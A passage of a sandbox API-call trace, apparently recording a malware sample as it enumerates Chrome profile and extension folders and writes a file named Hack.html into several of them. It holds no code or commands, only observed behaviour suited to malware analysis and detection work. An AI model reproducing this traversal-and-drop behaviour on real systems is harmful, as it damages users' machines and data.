lpFilePart=0x0) returned 0x5b [0072.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\", lpFilePart=0x0) returned 0x5c [0072.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.211] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.211] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.212] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.212] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.212] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.212] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.212] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.212] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpFilePart=0x0) returned 0x5b [0072.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\", lpFilePart=0x0) returned 0x5c [0072.214] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.215] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.215] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.215] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.215] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.215] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.216] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.216] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.216] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\Hack.html", lpFilePart=0x0) returned 0x65 [0072.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.219] GetFileType (hFile=0x174) returned 0x1 [0072.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.219] GetFileType (hFile=0x174) returned 0x1 [0072.219] WriteFile (in: hFile=0x174, lpBuffer=0x26c30b8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26c30b8*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.221] CloseHandle (hObject=0x174) returned 1 [0072.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpFilePart=0x0) returned 0x5b [0072.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\", lpFilePart=0x0) returned 0x5c [0072.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.295] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.295] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.295] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.295] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.296] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.296] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.296] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.296] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpFilePart=0x0) returned 0x5b [0072.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\", lpFilePart=0x0) returned 0x5c [0072.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.298] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.298] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.298] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.299] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.299] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\Hack.html", lpFilePart=0x0) returned 0x65 [0072.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.302] GetFileType (hFile=0x174) returned 0x1 [0072.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.302] GetFileType (hFile=0x174) returned 0x1 [0072.302] WriteFile (in: hFile=0x174, lpBuffer=0x26c8ac0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26c8ac0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.303] CloseHandle (hObject=0x174) returned 1 [0072.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpFilePart=0x0) returned 0x56 [0072.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpFilePart=0x0) returned 0x57 [0072.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.350] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.350] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.351] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.351] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.351] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.351] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.351] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.352] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.352] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.352] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.352] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.352] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpFilePart=0x0) returned 0x56 [0072.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpFilePart=0x0) returned 0x57 [0072.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.355] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.356] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.356] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.356] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.356] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.356] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0072.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpFilePart=0x0) returned 0x77 [0072.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpFilePart=0x0) returned 0x78 [0072.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a1a8 [0072.366] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0072.366] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0072.366] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0072.366] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0072.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0072.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0072.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpFilePart=0x0) returned 0x77 [0072.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpFilePart=0x0) returned 0x78 [0072.367] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a1a8 [0072.367] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0072.367] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0072.368] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0072.368] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0072.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0072.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0072.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpFilePart=0x0) returned 0x7d [0072.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpFilePart=0x0) returned 0x7e [0072.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a1a8 [0072.391] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.392] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.393] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.393] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0072.393] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0072.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0072.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0072.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", nBufferLength=0x105, lpBuffer=0x39e72c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpFilePart=0x0) returned 0x7d [0072.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", nBufferLength=0x105, lpBuffer=0x39e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpFilePart=0x0) returned 0x7e [0072.394] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a1a8 [0072.395] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.395] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.395] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0072.396] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0072.396] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0072.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0072.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x8a [0072.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0072.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js 